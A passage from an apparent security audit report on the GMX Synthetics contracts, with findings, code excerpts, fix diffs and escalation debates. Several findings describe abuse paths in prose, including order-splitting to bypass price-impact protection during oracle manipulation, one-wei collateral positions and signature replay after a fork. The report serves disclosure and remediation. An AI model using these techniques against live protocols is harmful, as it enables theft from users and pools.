IllIllI, berndartmueller, drdr, float-audits, hack3r-0m, joestakey, kirk-baird, koxuan
Deposits of only the long collateral token, when doing so results in an auto-adjustment of the order to minimize price impact, results in the order always reverting.
The code that determines which order to subtract the two amounts in order to get a positive difference value, has the wrong equality condition, which means the difference operation reverts due to underflow.
Single sided deposits as a feature are completely broken when the deposit doesn't solely push the swap impact towards a lower value.
Since the variables are uint256s, if poolLongTokenAmount is less than poolShortTokenAmount, subtracting the latter from the former will always revert. The else condition has the same issue:
// File: gmx-synthetics/contracts/deposit/ExecuteDepositUtils.sol : ExecuteDepositUtils.getAdjustedLongAndShortTokenAmounts() #1
392 @> if (poolLongTokenAmount < poolShortTokenAmount) {
393 @> uint256 diff = poolLongTokenAmount - poolShortTokenAmount;
394
395 if (diff < poolLongTokenAmount) {
396 adjustedLongTokenAmount = diff + (longTokenAmount - diff) / 2;
397 adjustedShortTokenAmount = longTokenAmount - adjustedLongTokenAmount;
398 } else {
399 adjustedLongTokenAmount = longTokenAmount;
400 }
401 } else {
402:@> uint256 diff = poolShortTokenAmount - poolLongTokenAmount;Manual Review
diff --git a/gmx-synthetics/contracts/deposit/ExecuteDepositUtils.sol b/gmx-synthetics/contracts/deposit/ExecuteDepositUtils.sol
index 03467e4..915c7fe 100644
--- a/gmx-synthetics/contracts/deposit/ExecuteDepositUtils.sol
+++ b/gmx-synthetics/contracts/deposit/ExecuteDepositUtils.sol
@@ -389,7 +389,7 @@ library ExecuteDepositUtils {
uint256 adjustedLongTokenAmount;
uint256 adjustedShortTokenAmount;
- if (poolLongTokenAmount < poolShortTokenAmount) {
+ if (poolLongTokenAmount > poolShortTokenAmount) {
uint256 diff = poolLongTokenAmount - poolShortTokenAmount;
if (diff < poolLongTokenAmount) {xvi10
Fix in https://github.com/gmx-io/gmx-synthetics/commit/d4066840f925c43116eed3c2c83ae2e44be39eed
Issue M-14: Single-sided deposits that are auto-adjusted may have their collateral value cut in half
Source: sherlock-audit#164
IllIllI, joestakey, koxuan, rvierdiiev
Deposits of only the long collateral token, when doing so results in an auto-adjustment of the order to minimize price impact, creating a larger adjusted short amount, does not properly track the new adjusted long amount.
When such an adjustment is maid, the adjusted long amount is never updated, so it remains at the uninitialized value of zero.
The long portion of the collateral will be zero. If the user submitted the order without specifying a minimum number of market tokens to receive, the amount they receive may be half of what it should have been. If they provide sane slippage amounts, the transaction will revert, and the feature will essentially be broken.
Rather than storing the result of the subtraction to the adjustedLongTokenAmount variable, the difference is subtracted from it, and the result is not stored:
// File: gmx-synthetics/contracts/deposit/ExecuteDepositUtils.sol : ExecuteDepositUtils.getAdjustedLongAndShortTokenAmounts() #1
389 @> uint256 adjustedLongTokenAmount;
390 uint256 adjustedShortTokenAmount;
...
402 uint256 diff = poolShortTokenAmount - poolLongTokenAmount;
403
404 if (diff < poolShortTokenAmount) {
405 adjustedShortTokenAmount = diff + (longTokenAmount - diff) / 2;
406 @> adjustedLongTokenAmount - longTokenAmount - adjustedShortTokenAmount;
407 } else {
408 adjustedLongTokenAmount = 0;
409 adjustedShortTokenAmount = longTokenAmount;
410 }
411 }
412
413 return (adjustedLongTokenAmount, adjustedShortTokenAmount);
414: }Manual Review
diff --git a/gmx-synthetics/contracts/deposit/ExecuteDepositUtils.sol b/gmx-synthetics/contracts/deposit/ExecuteDepositUtils.sol
index 03467e4..1a96f47 100644
--- a/gmx-synthetics/contracts/deposit/ExecuteDepositUtils.sol
+++ b/gmx-synthetics/contracts/deposit/ExecuteDepositUtils.sol
@@ -403,7 +403,7 @@ library ExecuteDepositUtils {
if (diff < poolShortTokenAmount) {
adjustedShortTokenAmount = diff + (longTokenAmount - diff) / 2;
- adjustedLongTokenAmount - longTokenAmount - adjustedShortTokenAmount;
+ adjustedLongTokenAmount = longTokenAmount - adjustedShortTokenAmount;
} else {
adjustedLongTokenAmount = 0;
adjustedShortTokenAmount = longTokenAmount;xvi10
Fix in https://github.com/gmx-io/gmx-synthetics/commit/d4066840f925c43116eed3c2c83ae2e44be39eed
Source: sherlock-audit#163
IllIllI
Malicious order keepers can trigger the cancellation of any order by providing oracle prices from blocks unrelated to the order
Each order has its own requirements about what block ranges it expects. The error handler for each order only allows orders to be retried if the keeper provided empty/invalid prices. The error handlers make no such allowances for invalid blocks.
The order keepers are supposed to be a decentralized network, so it's likely that at some point there will be a bad actor, or one who uses the rules to their advantage, at the expense of other users.
Orders will be canceled rather than retried by keepers that would have executed the order properly. This may lead to position liquidations.
These are three revert errors that are not caught by the various error handlers:
function revertOracleBlockNumbersAreNotEqual(uint256[] memory oracleBlockNumbers, uint256 expectedBlockNumber) internal pure {
revert OracleBlockNumbersAreNotEqual(oracleBlockNumbers, expectedBlockNumber);
}
function revertOracleBlockNumbersAreSmallerThanRequired(uint256[] memory oracleBlockNumbers, uint256 expectedBlockNumber) internal pure {
revert OracleBlockNumbersAreSmallerThanRequired(oracleBlockNumbers, expectedBlockNumber);
}
function revertOracleBlockNumberNotWithinRange(
uint256[] memory minOracleBlockNumbers,
uint256[] memory maxOracleBlockNumbers,
uint256 blockNumber
) internal pure {
revert OracleBlockNumberNotWithinRange(minOracleBlockNumbers, maxOracleBlockNumbers, blockNumber);
}Manual Review
Add checks for these errors, and make the functions result in a revert rather than a cancellation
xvi10
Source: sherlock-audit#160
IllIllI
Limit orders are delayed by a block due to oracle block number restrictions, in combination with requiring ascending/descending prices. Limit orders have special logic to ensure that they're only triggered when the price approaches the trigger price. To ensure the two prices (the primary price and secondary price) used for determining the price direction are not prices from before the order is placed, the oracle code requires that oracle price block numbers all come after the block where the order was placed.
Rather than requiring that only the secondary (later endpoint) price comes after the block in which the order was placed, both the secondary and the primary price are required to come after the order block.
Consider the case where a user wants to set a stoploss at a price of 100, and they submit an order at the indicated block/price:
block range : primary/secondary prices
[1,2] : 110
[2,3] : 100 <--
[4,5] : 60
An order submitted at the indicated block would be unable to be filled using the prices at block range [2,3], and instead would be forced to use [4,5] block range. This on its own is not an issue, but if the order is combined with a swap whose price impact penalty in [2,3] is very small, but is very large in [4,5], the user will be understandably unhappy about the order execution.
All oracle prices are required to come after the order timestamp, including both the position and the swap prices:
// File: gmx-synthetics/contracts/order/DecreaseOrderUtils.sol : DecreaseOrderUtils.validateOracleBlockNumbers() #1
139 if (
140 orderType == Order.OrderType.LimitDecrease ||
141 orderType == Order.OrderType.StopLossDecrease
142 ) {
143 uint256 latestUpdatedAtBlock = orderUpdatedAtBlock > positionIncreasedAtBlock ? orderUpdatedAtBlock : positionIncreasedAtBlock;
144 if (!minOracleBlockNumbers.areGreaterThan(latestUpdatedAtBlock)) {
145 OracleUtils.revertOracleBlockNumbersAreSmallerThanRequired(minOracleBlockNumbers, latestUpdatedAtBlock);
146 }
147 return;
148: }// File: gmx-synthetics/contracts/order/IncreaseOrderUtils.sol : IncreaseOrderUtils.validateOracleBlockNumbers() #2
105 @> if (orderType == Order.OrderType.LimitIncrease) {
106 console.log("orderUpdatedAtBlock", orderUpdatedAtBlock);
107 console.log("positionIncreasedAtBlock", positionIncreasedAtBlock);
108 console.log("minOracleBlockNumbers", minOracleBlockNumbers[0]);
109 uint256 laterBlock = orderUpdatedAtBlock > positionIncreasedAtBlock ? orderUpdatedAtBlock : positionIncreasedAtBlock;
110 if (!minOracleBlockNumbers.areGreaterThan(laterBlock)) {
111 @> OracleUtils.revertOracleBlockNumbersAreSmallerThanRequired(minOracleBlockNumbers, laterBlock);
112 }
113 return;
114 }
115
116 BaseOrderUtils.revertUnsupportedOrderType();
117: }The same is true for liquidations and swaps.
Manual Review
Allow a price that is separate from the primary and secondary prices, to come before the order block, and allow the primary/secondary prices to equal the order block
xvi10
Fix in https://github.com/gmx-io/gmx-synthetics/pull/111
Source: sherlock-audit#159
IllIllI
After a position has been decreased, the user has an option to convert the PnL token to any other token via a swap.
If the swap fails (which is where the slippage is checked), the tokens are sent directly to the user, without checking whether there was slippage
A user will get back fewer tokens than they expect, if there was a large price impact, and the subsequent swap fails due to e.g. the market being temporarily disabled, or the swap impact being too large, or a token being swapped through is paused
Funds are sent back directly, without checking for slippage:
// File: gmx-synthetics/contracts/order/DecreaseOrderUtils.sol : DecreaseOrderUtils._handleSwapError() #1
168 emit SwapUtils.SwapReverted(reason, reasonBytes);
169
170 MarketToken(payable(order.market())).transferOut(
171 result.outputToken,
172 order.receiver(),
173 @> result.outputAmount,
174 order.shouldUnwrapNativeToken()
175 );
176: }Manual Review
Calculate whether the USD value of outputToken is equivalent to the minOutputAmount expected by the order, and revert if it's less than required
xvi10
Fix in https://github.com/gmx-io/gmx-synthetics/pull/108
Source: sherlock-audit#158
IllIllI
Global position-fee-related state not updated until after liquidation checks are done
Checking whether a position is liquidatable occurs before the global state is updated.
A position that should be liquidated in the current block, won't be liquidated until the next block, when the correct fee multipliers/factors are applied. A delayed liquidation means that a position that should have been liquidated will not be, likely causing a larger loss than should have been incurred.
State is updated after the liquidation checks:
// File: gmx-synthetics/contracts/position/DecreasePositionUtils.sol : DecreasePositionUtils.decreasePosition() #1
162 @> if (BaseOrderUtils.isLiquidationOrder(params.order.orderType()) && !PositionUtils.isPositionLiquidatable(
163 params.contracts.dataStore,
164 params.contracts.referralStorage,
165 params.position,
166 params.market,
167 cache.prices,
168 true
169 )) {
170 revert PositionShouldNotBeLiquidated();
171 }
172
173:@> PositionUtils.updateFundingAndBorrowingState(params, cache.prices);Manual Review
Call PositionUtils.updateFundingAndBorrowingState() before all checks
xvi10
Fix in https://github.com/gmx-io/gmx-synthetics/commit/0821228d2333b5a689d9361bafa806f51c56fbc1
Source: sherlock-audit#157
IllIllI
Position fees (borrowing and funding) are still assessed even if the ability to decrease positions is disabled
Config keepers have the ability to disable order placement and order execution, and them doing so does not pause the state of position fees.
Users will be assessed position fees even if they wished to close their positions, and can be liquidated through no fault of their own.
Order creation (to close a position) may be disabled:
// File: gmx-synthetics/contracts/exchange/OrderHandler.sol : OrderHandler.createOrder() #1
43: FeatureUtils.validateFeature(dataStore, Keys.createOrderFeatureDisabledKey(address(this), uint256(params.orderType)));As may execution of orders prior to the disabling of creation:
// File: gmx-synthetics/contracts/exchange/OrderHandler.sol : OrderHandler._executeOrder() #2
207: FeatureUtils.validateFeature(params.contracts.dataStore, Keys.executeOrderFeatureDisabledKey(address(this), uint256(params.order.orderType())));But position fees are tracked based on time and do not account for pauses:
// File: gmx-synthetics/contracts/market/MarketUtils.sol : MarketUtils.updatedAt #3
1759 function getSecondsSinceCumulativeBorrowingFactorUpdated(DataStore dataStore, address market, bool isLong) internal view returns (uint256) {
1760 uint256 updatedAt = getCumulativeBorrowingFactorUpdatedAt(dataStore, market, isLong);
1761 if (updatedAt == 0) { return 0; }
1762 @> return block.timestamp - updatedAt;
1763: }// File: gmx-synthetics/contracts/market/MarketUtils.sol : MarketUtils.getSecondsSinceFundingUpdated() #4
1658 function getSecondsSinceFundingUpdated(DataStore dataStore, address market) internal view returns (uint256) {
1659 uint256 updatedAt = dataStore.getUint(Keys.fundingUpdatedAtKey(market));
1660 if (updatedAt == 0) { return 0; }
1661 @> return block.timestamp - updatedAt;
1662: }Manual Review
Track and account for disabling, and adjust position fees based on whether things were paused or not.
xvi10
this is a valid concern, but we do not think this logic should be added
orders should only be disabled if there is an emergency issue, we do not think the additional complexity is worth adding for this case
Source: sherlock-audit#156
IllIllI
In the unlikely event that the price of an asset reaches zero, there is no way to liquidate the position, because both usages of oracles will revert.
Zero is treated as an invalid value, for both index oracle prices, as well as position prices.
Positions won't be liquidatable, at an extremely critical moment that they should be liquidatable. Losses and fees will grow and the exchange will become insolvent.
The Chainlink oracle rejects prices of zero:
// File: gmx-synthetics/contracts/oracle/Oracle.sol : Oracle._setPricesFromPriceFeeds() #1
571 (
572 /* uint80 roundID */,
573 int256 _price,
574 /* uint256 startedAt */,
575 /* uint256 timestamp */,
576 /* uint80 answeredInRound */
577 ) = priceFeed.latestRoundData();
578
579 uint256 price = SafeCast.toUint256(_price);
580 uint256 precision = getPriceFeedMultiplier(dataStore, token);
581
582 price = price * precision / Precision.FLOAT_PRECISION;
583
584 if (price == 0) {
585 @> revert EmptyFeedPrice(token);
586 }
587: As does the usage of off-chain oracle prices:
// File: gmx-synthetics/contracts/oracle/Oracle.sol : Oracle.getLatestPrice() #2
346 if (!secondaryPrice.isEmpty()) {
347 return secondaryPrice;
348 }
349
350 Price.Props memory primaryPrice = primaryPrices[token];
351 if (!primaryPrice.isEmpty()) {
352 return primaryPrice;
353 }
354
355 @> revert OracleUtils.EmptyLatestPrice(token);
356: }Manual Review
Provide a mechanism for positions to be liquidated even if the price reaches zero
xvi10
oracles should report the minimum possible price for this case
IllIllI000
@xvi10 if the price drops from $100 down to zero, isn’t that going to cause problems? If you don’t want to work with prices of zero, shouldn’t there be, e.g. 1 wei of value so that wildly incorrect prices aren’t used?
xvi10
i think if we allow zero an issue could be raised that allowing zero increases the risk that oracle malfunctions leading to reports of zero prices could cause losses to the pool
in that case, perhaps the recommendation in the previous comment is not correct, the oracle should report zero as the price but the market would need some manual intervention to check and settle
IllIllI000
the readme states that Oracle signers are expected to accurately report the price of tokens, so any misreporting would be a separate bug, and reporting a price of 100 seems much more dangerous than an unidentified bug. As is described in #155, using a sentinel value would be safer
xvi10
agree on that, i'm not sure if it is worth the complexity to handle a zero price case vs manually settling the market, will mark this as confirmed and may not fix
some calculations such as position.sizeInTokens would not make sense if the price is zero or negative so I believe the contracts in the current state cannot support these values and the markets would need to be manually settled
hack3r-0m
Escalate for 10 USDC
This issue should be invalid, because of how unlikely this is to be happen. A same argument (with similiar unlikely odds) can be made that positions cannot be liquidated if ethereum goes down as a network.
sherlock-admin
Escalate for 10 USDC
This issue should be invalid, because of how unlikely this is to be happen. A same argument (with similiar unlikely odds) can be made that positions cannot be liquidated if ethereum goes down as a network.
You've created a valid escalation for 10 USDC!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
IllIllI000
There is a viable scenario (even if unlikely) https://docs.sherlock.xyz/audits/judging/judging . This is a valid risk and is easily protected against. CEX securities go to zero all the time, and as crypto grows and ages, the same will become true for DAO tokens
hrishibhat
Escalation rejected
Although unlikely, a zero price should not break the liquidations. Considering this a valid medium
sherlock-admin
Escalation rejected
Although unlikely, a zero price should not break the liquidations. Considering this a valid medium
This issue's escalations have been rejected!
Watsons who escalated this issue will have their escalation amount deducted from their next payout.
xvi10
this is a valid issue, but as mentioned the market needs to be manually settled as some calculations may not make sense for zero or negative values
Issue M-21: Trades in blocks where the bid or ask drops to zero will be priced using the previous block's price
Source: sherlock-audit#155
IllIllI
The oracle prices used for traces allow multiple oracles and their last prices to be provided. The oldest block's price becomes the primary price, and the newer price becomes the secondary price. Trades in blocks where the primary price is non-zero, but the secondary price is zero, will be priced incorrectly
For position increase/decrease orders, the price used is either the primary or the secondary price, but a value of zero for the secondary price is considered to be a sentinel value indicating 'empty', or 'no price has been set'. In such cases, the secondary price is ignored, and the primary price is used instead.
Users exiting their positions in the first block where the price touches zero, are able to exit their positions at the primary (older) price rather than the secondary (newer) price of zero. This is pricing difference is at the expense of the pool and the other side of the trade.
The secondary price is only used when it's non-zero:
// File: gmx-synthetics/contracts/oracle/Oracle.sol : Oracle.getLatestPrice() #1
341 function getLatestPrice(address token) external view returns (Price.Props memory) {
342 if (token == address(0)) { return Price.Props(0, 0); }
343
344 Price.Props memory secondaryPrice = secondaryPrices[token];
345
346 @> if (!secondaryPrice.isEmpty()) {
347 return secondaryPrice;
348 }
349
350 Price.Props memory primaryPrice = primaryPrices[token];
351 if (!primaryPrice.isEmpty()) {
352 return primaryPrice;
353 }
354
355 revert OracleUtils.EmptyLatestPrice(token);
356: }Note that even if just the bid touches zero, that's enough to disqualify the secondary price.
Manual Review
Use an actual sentinel flag rather than overloading the meaning of a 'zero' price.
xvi10
oracles should report the minimum possible price instead of zero
IllIllI000
@xvi10 same question as for #156
xvi10
replied in 156
IllIllI000
the readme states that Oracle signers are expected to accurately report the price of tokens, so any misreporting would be a separate bug, and reporting a price of 100 seems much more dangerous than an unidentified bug. As is described above, using a sentinel value would be safer
xvi10
replied in sherlock-audit#156
hack3r-0m
Escalate for 10 USDC
should be dup of sherlock-audit#156 instead of seperate issue
sherlock-admin
Escalate for 10 USDC
should be dup of sherlock-audit#156 instead of seperate issue
You've created a valid escalation for 10 USDC!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
IllIllI000
looks like I missed this one. The fix for this one does not resolve the other. One is about using the wrong price, and the other is about an unhandled revert case
hrishibhat
Escalation rejected
Although related to the similar topic but Not a duplicate of #156
sherlock-admin
Escalation rejected
Although related to the similar topic but Not a duplicate of #156
This issue's escalations have been rejected!
Watsons who escalated this issue will have their escalation amount deducted from their next payout.
xvi10
no code changed, similar reason to sherlock-audit#156
Issue M-22: PnL is incorrectly counted as collateral when determining whether to close positions automatically
Source: sherlock-audit#154
IllIllI
GMX uses MIN_COLLATERAL_USD to ensure that there is always enough collateral remaining in a position, so that if there are sudden large gaps in prices, there is enough collateral to cover potential losses.
When a position is reduced, the estimate of remaining collateral includes the total P&L as part of the collateral. If a position has a lot of profit, a nefarious owner of the position can reduce the collateral to one wei of the collateral token, and let the position run.
If there is a sudden gap down in price, as is common with crypto Bart price chart formations, the user only loses one wei, but the pool incurs losses because there is no collateral to cover price decreases. Once one wei is left in the position, there is no mechanism for a keeper to reduce the position's leverage, so the only chance thereafter to close the position is when it needs to be liquidated.
PnL is counted as collateral:
// File: gmx-synthetics/contracts/position/PositionUtils.sol : PositionUtils.willPositionCollateralBeSufficient() #1
420 int256 remainingCollateralUsd = values.positionCollateralAmount.toInt256() * collateralTokenPrice.min.toInt256();
421
422 @> remainingCollateralUsd += values.positionPnlUsd;
423
424 if (values.realizedPnlUsd < 0) {
425 remainingCollateralUsd = remainingCollateralUsd + values.realizedPnlUsd;
426 }
427
428 if (remainingCollateralUsd < 0) {
429 return (false, remainingCollateralUsd);
430 }
431
432: int256 minCollateralUsdForLeverage = Precision.applyFactor(values.positionSizeInUsd, minCollateralFactor).toInt256();The position is only closed if that total is below the minimum collateral dollar amount.
Manual Review
Do not count PnL as part of the collateral, for the purposes of determining the minimum position collateral amount. The combined value may still be useful as a separate check.
xvi10
PnL is counted as collateral to allow position increases / decreases if the pnl is sufficient to cover pending fees, the risk of the position having insufficient pnl to cover fees in case of a large change in price is similar to the risk of a position having insufficient collateral to cover fees
Source: sherlock-audit#153
IllIllI
There are no checks for whether a position is still an ADL candidate or not
All checks during AdlHandler.executeAdl() are global checks about exchange-wide PnL levels, and there are no checks for whether the specific position is a valid ADL candidate or not.
Between the time when the ADL keeper chooses its list of ADL candidates and when the transaction gets confirmed (e.g. if the keeper has a sudden CPU spike, or the connection to the sequencer has to be retried), the user may have already reduced their position, and it would be incorrect to further reduce their position.
All checks are global:
// File: gmx-synthetics/contracts/exchange/AdlHandler.sol : AdlHandler.executeAdl() #1
119 @> (cache.shouldAllowAdl, cache.pnlToPoolFactor, cache.maxPnlFactorForAdl) = MarketUtils.isPnlFactorExceeded(
120 dataStore,
121 oracle,
122 market,
123 isLong,
124 Keys.MAX_PNL_FACTOR_FOR_ADL
125 );
126
127 if (!cache.shouldAllowAdl) {
128 revert AdlNotRequired(cache.pnlToPoolFactor, cache.maxPnlFactorForAdl);
129: }// File: gmx-synthetics/contracts/exchange/AdlHandler.sol : AdlHandler.executeAdl() #2
150 // validate that the ratio of pending pnl to pool value was decreased
151 @> cache.nextPnlToPoolFactor = MarketUtils.getPnlToPoolFactor(dataStore, oracle, market, isLong, true);
152 if (cache.nextPnlToPoolFactor >= cache.pnlToPoolFactor) {
153 revert InvalidAdl(cache.nextPnlToPoolFactor, cache.pnlToPoolFactor);
154 }
155
156 cache.minPnlFactorForAdl = MarketUtils.getMinPnlFactorAfterAdl(dataStore, market, isLong);
157
158 if (cache.nextPnlToPoolFactor < cache.minPnlFactorForAdl.toInt256()) {
159 revert PnlOvercorrected(cache.nextPnlToPoolFactor, cache.minPnlFactorForAdl);
160 }
161: }The order only gets canceled if the order would cause the position size to go negative
Manual Review
Create a view function for whether the position is eligible for ADL, and revert if the user is not eligible when the order executes
xvi10
the ADL transaction should revert if it does not reduce the pnl value to pool value ratio
IllIllI000
@xvi10 if there are 100 ADL-eligible accounts and you pick the largest one, if that largest one becomes the smallest by the time the keeper executes, shouldn’t one of the larger other 99 be chosen instead?
xvi10
preferably it should be the largest ADL candidate but we don't enforce this on-chain because I think it is difficult to maintain an ordering or orders by PnL
this behaviour could be incentivised off-chain through rewarding keepers proportional to the PnL of the position ADLed, could be done on the contract level as well, but we do not think this feature is worth the complexity to add for now
IllIllI000
I'm Keeping this open since the argument is complexity rather than optimal behavior
Source: sherlock-audit#152
IllIllI
Oracles are vulnerable to cross-chain replay attacks
If there's a hard fork (e.g. miner vs proof of stake), signatures/txns submitted on one chain can be replayed on the other chain.
Keepers on the forked chain can use oracle prices from the original chain, even though they may not be correct for the current chain (e.g. USDC's price on the fork may be worth zero until Circle adds support on that fork), leading to invalid execution prices and or liquidations.
The SALT used in signatures is hard-coded to an immutable variable in the constructor, and uses the block.chainid from the time of construction:
// File: gmx-synthetics/contracts/oracle/Oracle.sol : Oracle.constructor() #1
108 constructor(
109 RoleStore _roleStore,
110 OracleStore _oracleStore
111 ) RoleModule(_roleStore) {
112 oracleStore = _oracleStore;
113
114 // sign prices with only the chainid and oracle name so that there is
115 // less config required in the oracle nodes
116 @> SALT = keccak256(abi.encode(block.chainid, "xget-oracle-v1"));
117: }Signatures use the SALT without also including the block.chainid separately
Manual Review
Include the block.chainid in the signature, separately from the SALT, and ensure that the value is looked up each time
hack3r-0m
Escalate for 10 USDC
This finding should be invalid, because keepers are trusted entity as mentioned in REAMDE and signature of keeper on longest chain cannot be used on forks because of check that only keeper can update price.
sherlock-admin
Escalate for 10 USDC
This finding should be invalid, because keepers are trusted entity as mentioned in REAMDE and signature of keeper on longest chain cannot be used on forks because of check that only keeper can update price.
You've created a valid escalation for 10 USDC!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
IllIllI000
The readme says, Order keepers and frozen order keepers could potentially extract value through transaction ordering, delayed transaction execution etc, this will be partially mitigated with a keeper network so they are not fully-trusted entities
hrishibhat
Escalation rejected
Admin is restricted and keepers are trusted only to perform the actions assigned to them. As pointed out by the Lead watson, Keepers are not fully trusted entities
sherlock-admin
Escalation rejected
Admin is restricted and keepers are trusted only to perform the actions assigned to them. As pointed out by the Lead watson, Keepers are not fully trusted entities
This issue's escalations have been rejected!
Watsons who escalated this issue will have their escalation amount deducted from their next payout.
xvi10
Fix in https://github.com/gmx-io/gmx-synthetics/pull/113
Source: sherlock-audit#151
0xdeadbeef, GalloDaSballo, IllIllI, ShadowForce, hack3r-0m
Chainlink recommends that users using price oracles, check whether the Arbitrum Sequencer is active
If the sequencer goes down, the index oracles may have stale prices, since L2-submitted transactions (i.e. by the aggregating oracles) will not be processed.
Stale prices, e.g. if USDC were to de-peg while the sequencer is offline, would let people submit orders and if those people are also keepers, get execution prices that do not exist in reality.
Chainlink oracles are used for some prices, but there are no sequencer oracles in use:
// File: gmx-synthetics/contracts/oracle/Oracle.sol : Oracle._setPricesFromPriceFeeds() #1
569 IPriceFeed priceFeed = getPriceFeed(dataStore, token);
570
571 (
572 /* uint80 roundID */,
573 int256 _price,
574 /* uint256 startedAt */,
575 /* uint256 timestamp */,
576 /* uint80 answeredInRound */
577 ) = priceFeed.latestRoundData();
578
579: uint256 price = SafeCast.toUint256(_price);Manual Review
Use a chainlink oracle to determine whether the sequencer is offline or not, and don't allow orders to be executed while the sequencer is offline.
xvi10
This is a valid issue, the risk will be reduced with a keeper network instead of a separate check
Issue M-26: Fee receiver does not get paid when collateral is enough to cover the funding fee, during liquidation
Source: sherlock-audit#146
IllIllI
When a position is liquidated, and there is enough collateral to cover the outstanding funding fee, the fee receiver does not get paid its fee
All of the remaining collateral is given to the pool, rather than paying the portion of position fees owed to the fee receiver
Fee receiver does not get paid its share, which is instead given to the pool
The PnL funds are all given to the pool, and the _fees variable, which contains the fee receiver portion remains uninitialized.
// File: gmx-synthetics/contracts/position/DecreasePositionCollateralUtils.sol : DecreasePositionCollateralUtils.getLiquidationValues() #1
346 } else {
347 @> values.pnlAmountForPool = (params.position.collateralAmount() - fees.funding.fundingFeeAmount).toInt256();
348 }
349
350 @> PositionPricingUtils.PositionFees memory _fees;
351
352 PositionUtils.DecreasePositionCollateralValues memory _values = PositionUtils.DecreasePositionCollateralValues(
353 values.pnlTokenForPool,
354 values.executionPrice, // executionPrice
355 0, // remainingCollateralAmount
356 values.positionPnlUsd, // positionPnlUsd
357 @> values.pnlAmountForPool, // pnlAmountForPool
358 0, // pnlAmountForUser
359 values.sizeDeltaInTokens, // sizeDeltaInTokens
360 values.priceImpactAmount, // priceImpactAmount
361 0, // priceImpactDiffUsd
362 0, // priceImpactDiffAmount
363 PositionUtils.DecreasePositionCollateralValuesOutput(
364 address(0),
365 0,
366 address(0),
367 0
368 )
369 );
370
371 @> return (_values, _fees);
372: }The empty fees are returned, and the function exits, skipping the paying of the fee receiver's portion of the position fees that are owed.
Manual Review
Split the fees properly in getLiquidationValues() and don't return early after the call to getLiquidationValues()
xvi10
this is a valid concern, but we do not think that the contracts should be changed for it, for simplicity the fee receiver does not receive a fee for this case
IllIllI000
I'm leaving this open since the fees are not paid
Source: sherlock-audit#145
IllIllI
Virtual impacts can be trivially bypassed by chopping large orders into multiple smaller ones
Virtual price impacts are meant to ensure that even if a user spreads their orders over multiple pools, that they still will have a sufficient price impact to deter oracle price manipulation. The code, however, allows smaller orders to go through without incurring this global virtual price impact.
A user can get around a large virtual price impact by chopping their large orders into multiple smaller orders, below the price impact threshold, manipulate the oracle price, and have all of the small orders executed in the same block, defeating the manipulation protection.
Only looks at change in position:
// File: gmx-synthetics/contracts/pricing/PositionPricingUtils.sol : PositionPricingUtils.getPriceImpactUsd() #1
209 if (!hasVirtualInventory) {
210 return priceImpactUsd;
211 }
212
213 OpenInterestParams memory openInterestParamsForVirtualInventory = getNextOpenInterestForVirtualInventory(params);
214 int256 priceImpactUsdForVirtualInventory = _getPriceImpactUsd(params.dataStore, params.market, openInterestParamsForVirtualInventory);
215 int256 thresholdPriceImpactUsd = Precision.applyFactor(params.usdDelta.abs(), thresholdImpactFactorForVirtualInventory);
216
217 @> if (priceImpactUsdForVirtualInventory > thresholdPriceImpactUsd) {
218 return priceImpactUsd;
219 }
220
221 return priceImpactUsdForVirtualInventory < priceImpactUsd ? priceImpactUsdForVirtualInventory : priceImpactUsd;
222: }Manual Review
Virtual price impact needs to always apply, in order to solve for the case of splitting a large order over multiple accounts. If orders split over multiple accounts is not a risk you want to address, the price impact should at least take into account the total position size for a single account when determining whether the threshold should apply.
xvi10
Fix in https://github.com/gmx-io/gmx-synthetics/pull/116
Issue M-28: Collateral tokens that cannot be automatically swapped to the PnL token, cannot have slippage applied to them
Source: sherlock-audit#144
IllIllI
Collateral tokens that cannot be automatically swapped to the PnL token, cannot have slippage applied to them, since the minOutputAmount is in units of the output token, not the secondary token.
If a user's order uses the Order.DecreasePositionSwapType.SwapCollateralTokenToPnlToken flag, it's possible for the swap to fail (e.g. because the token is paused), and in such cases, the collateral token is sent back as-is, without being converted to the PnL token. In such cases, it's not possible for the code, as it is written, to support slippage in such scenarios, because there is only one order slippage argument, minOutputAmount, and it's in units of the PnL token, not the collateral token.
A user that has a resting order open with the flag set, so that they can take profit at the appropriate time, will be forced to incur any price impact slippage present, even if they had specified a valid minOutputAmount that would otherwise have prevented the sub-optimal execution.
If the swap goes through, the secondaryOutputAmount is cleared and added to the outputAmount, but if the swap fails, it's kept as the values.output.secondaryOutputAmount:
// File: gmx-synthetics/contracts/position/DecreasePositionCollateralUtils.sol : DecreasePositionCollateralUtils.swapWithdrawnCollateralToPnlToken() #1
383 try params.contracts.swapHandler.swap(
...
396 ) returns (address tokenOut, uint256 swapOutputAmount) {
397 if (tokenOut != values.output.secondaryOutputToken) {
398 revert InvalidOutputToken(tokenOut, values.output.secondaryOutputToken);
399 }
400 // combine the values into outputToken and outputAmount
401 values.output.outputToken = tokenOut;
402 @> values.output.outputAmount = values.output.secondaryOutputAmount + swapOutputAmount;
403 values.output.secondaryOutputAmount = 0;
404 } catch Error(string memory reason) {
405 @> emit SwapUtils.SwapReverted(reason, "");
406 } catch (bytes memory reasonBytes) {
407 (string memory reason, /* bool hasRevertMessage */) = ErrorUtils.getRevertMessage(reasonBytes);
408 @> emit SwapUtils.SwapReverted(reason, reasonBytes);
409 }
410 }
411
412 return values;
413: }And is sent separately, with no slippage checks.
Manual Review
Convert the USD value of secondaryOutputAmount to outputAmount, and ensure that the slippage checks against that total
xvi10
Fix in https://github.com/gmx-io/gmx-synthetics/pull/108
Issue M-29: Users that have to claim collateral more than once for a time slot, may get the wrong total amount
Source: sherlock-audit#142
IllIllI
Users that have to claim collateral more than once for a given time slot, may get the wrong total amount, because the amount claimed is incorrectly set
When letting a user claim his/her collateral, the code looks up the claimable amount, does an adjustment based on a factor, sends that amount to the user, then updates the remaining amount claimable. The code incorrectly sets the factor-adjusted total claimable amount as the amount claimed, rather than the claimable amount.
Accounting of the claimed amount will be wrong, and the user will get less collateral back than they deserve, in some cases.
// File: gmx-synthetics/contracts/market/MarketUtils.sol : MarketUtils.claimCollateral() #1
631 @> uint256 adjustedClaimableAmount = Precision.applyFactor(claimableAmount, claimableFactor);
632 if (adjustedClaimableAmount <= claimedAmount) { // @audit fixed comparison operator as mentioned in a separate issue
